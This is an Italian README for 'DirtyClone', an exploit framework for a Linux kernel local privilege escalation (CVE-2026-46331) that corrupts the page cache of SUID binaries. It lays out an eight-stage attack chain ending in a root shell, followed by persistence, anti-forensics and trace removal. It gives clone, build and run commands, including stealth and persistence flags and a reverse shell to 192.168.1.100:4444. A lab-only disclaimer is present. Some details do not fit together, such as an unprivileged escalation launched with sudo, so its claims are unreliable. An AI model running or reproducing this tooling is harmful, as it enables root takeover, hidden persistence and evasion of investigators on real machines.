
CVE-2026-46331 — Escalation dei Privilegi Locali nel Kernel Linux attraverso corruzione della cache di pagina con TC pedit + IPsec TEE · Kernel affetti: ≤ 6.12.9
CVE-2026-46331 — Escalation Locale dei Privilegi nel Kernel Linux TC pedit + IPsec TEE Corruzione della Cache di Pagina · Kernel interessati: ≤ 6.12.9
╔═══════════════════════════════════════════════════════════════╗
║ ____ _ _ ____ _ ║
║ | _ \(_)_ __| |_ _ _/ ___| | ___ _ __ ___ ║
║ | | | | | '__| __| | | | | | |/ _ \| '_ \ / _ \ ║
║ | |_| | | | | |_| |_| | |___| | (_) | | | | __/ ║
║ |____/|_|_| \__|_, |\____|_|\___/|_| |_|\___| ║
║ |___/ ║
╠═══════════════════════════════════════════════════════════════╣
║ CVE-2026-46331 · v1.0.0 · SOLO PER RICERCA ED EDUCAZIONE ║
╚═══════════════════════════════════════════════════════════════╝
⚠️ SOLO PER SCOPI EDUCATIVI E DI RICERCA Utilizzare questo framework esclusivamente in ambienti di laboratorio isolati di tua proprietà o per i quali hai esplicita autorizzazione scritta per i test. L'uso non autorizzato è illegale e non etico.
CVE-2026-46331 è una vulnerabilità di escalation locale dei privilegi nel kernel Linux (≤ 6.12.9) causata da una condizione di gara tra l'azione pedit di TC (cls_act) e la duplicazione di pacchetti basata su IPsec TEE.
Quando un pacchetto attraversa il percorso di uscita TC con un'azione pedit che imposta IHL = 15, il sottosistema IPsec del kernel riceve un pacchetto malformato in cui l'offset del payload IP calcolato supera i confini effettivi del pacchetto. In operazioni sendfile(2) concorrenti, questa discrepanza permette a un utente non privilegiato (all'interno di un namespace utente con CAP_NET_ADMIN) di corrompere voci read-only della cache di pagina di file arbitrari — inclusi i binari SUID.
| Proprietà | Valore |
|---|---|
| Punteggio CVSS 3.1 | 8.8 (ALTO) |
| Vettore di Attacco | Locale |
| Privilegi Richiesti | Basso (utente non privilegiato) |
| Impatto | Root shell (UID=0 EUID=0) |
| Versioni affette | Linux kernel ≤ 6.12.9 |
| Versione corretta | 6.12.10 |
| Patch commit | a3f4d1c8... |
Utente non privilegiato (UID=1000)
│
▼
[1] Ricognizione
├─ Controllo versione kernel
├─ disponibilità userns
└─ Profilazione binario target
│
▼
[2] Bypass dei Namespace
├─ unshare(CLONE_NEWUSER|CLONE_NEWNET)
├─ Passaggio di profilo AppArmor (fallback)
└─ CAP_NET_ADMIN acquisito
│
▼
[3] Infrastruttura di Rete
├─ clsact qdisc on lo
├─ pedit filter (IHL=15)
└─ IPsec ESP + TEE
│
▼
[4] Corruzione della Cache di Pagina
├─ sendfile → pedit trigger
├─ Voce cache di pagina corrotta
└─ Shellcode scritto su binario read-only
│
▼
[5] Escalation dei Privilegi
└─ execve(SUID binary) → root shell
│
▼
[6-8] Post-Sfruttamento
├─ Persistenza (6 meccanismi)
├─ Elusione / Anti-Forense
└─ Pulizia delle tracce
│
▼
🎯 ROOT SHELL (UID=0 EUID=0)
dirtyclone-exploit/
├── Makefile # Sistema di compilazione
├── README.md # Questo file
├── LICENSE # Licenza MIT
│
├── include/
│ ├── exploit.h # Tipi core, flag, prototipi
│ ├── packet_engine.h # API del motore di creazione pacchetti
│ ├── memory_ops.h # API di corruzione della cache di pagina
│ └── persistence.h # API del meccanismo di persistenza
│
├── src/
│ ├── main.c # Punto di ingresso del framework
│ ├── stage_env_analysis.c # Fase 1: Ricognizione
│ ├── stage_namespace_bypass.c # Fase 2: bypass userns
│ ├── stage_network_setup.c # Fase 3: configurazione TC/IPsec
│ ├── stage_page_cache_corrupt.c # Fase 4: Exploit principale
│ ├── stage_privilege_escalation.c # Fase 5: LPE
│ ├── stage_persistence.c # Fase 6: Persistenza
│ ├── stage_evasion.c # Fase 7: Anti-forense
│ ├── stage_cleanup.c # Fase 8: Rimozione tracce
│ ├── memory_ops.c # Primitiva cache di pagina
│ ├── packet_engine.c # Creazione pacchetti raw
│ └── persistence.c # Implementazioni di persistenza
│
├── modules/
│ ├── packet_craft.py # Creazione pacchetti Python (Scapy)
│ └── exploit_analyzer.py # Strumento di analisi pre-exploit
│
├── scripts/
│ ├── setup_env.sh # Installazione dipendenze + compilazione
│ ├── cleanup.sh # Pulizia del sistema
│ └── detect_targets.sh # Scanner di binari vulnerabili
│
└── payloads/
└── README.md # Informazioni directory payload
gcc ≥ 10makelibcap-dev / libcap-develiproute2 (tc, ip)iptablespip install scapy
# Clone
git clone https://github.com/vulnquest58/dirtyclone-exploit
cd dirtyclone-exploit
# Auto setup (installa dipendenze + compila)
sudo bash scripts/setup_env.sh
# Compilazione manuale
make all
# Compilazione debug
make debug
# Pulizia
make clean
# Mostra aiuto
./bin/dirtyclone --help
# Esecuzione a secco (solo analisi, nessuno sfruttamento)
./bin/dirtyclone --test
# Sfruttamento base (target predefinito: /usr/bin/su)
sudo ./bin/dirtyclone
# Target personalizzato con furtività + persistenza
sudo ./bin/dirtyclone --target /usr/bin/sudo --stealth --persist
# Reverse shell
sudo ./bin/dirtyclone --remote 192.168.1.100 4444 --cleanup
# Rileva prima i target vulnerabili
bash scripts/detect_targets.sh
exploit_analyzer.py — Ricognizione Pre-Exploit# Analizza target predefinito
python3 modules/exploit_analyzer.py
# Target personalizzato
python3 modules/exploit_analyzer.py --target /usr/bin/sudo
# Output JSON per automazione
python3 modules/exploit_analyzer.py --json
# Scansiona tutti i binari SUID
python3 modules/exploit_analyzer.py --all-suid
packet_craft.py — Trigger Pacchetto Raw# Invia pacchetti exploit all'offset 0x1234
sudo python3 modules/packet_craft.py --offset 0x1234
# Interfaccia e numero di pacchetti personalizzati
sudo python3 modules/packet_craft.py --iface eth0 --count 20